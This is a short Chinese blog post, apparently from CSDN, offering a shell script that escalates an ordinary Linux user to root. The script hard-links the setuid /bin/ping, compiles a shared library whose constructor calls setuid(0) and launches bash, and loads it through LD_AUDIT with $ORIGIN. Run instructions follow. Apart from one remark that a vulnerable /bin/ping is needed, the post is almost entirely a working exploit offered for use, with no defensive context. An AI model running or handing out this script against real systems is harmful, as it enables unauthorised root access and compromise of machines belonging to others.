linux普通用户提权至root用户脚本

最新推荐文章于 2024-08-11 17:18:24 发布

Marx_Otto

最新推荐文章于 2024-08-11 17:18:24 发布

阅读量640

点赞数 2

分类专栏：笔记文章标签：安全恰饭经验分享

本文链接：https://blog.csdn.net/weixin_45441727/article/details/114379335

版权

笔记专栏收录该内容

72 篇文章 17 订阅

订阅专栏

注，由于脚本是利用/bin/ping漏洞实现提权，如果没有就无法实现。
如
在这里插入图片描述
vi 2.sh

unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3
cat > program.c << _EOF
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
unset LD_AUDIT

chmod 777 2.sh
./2.sh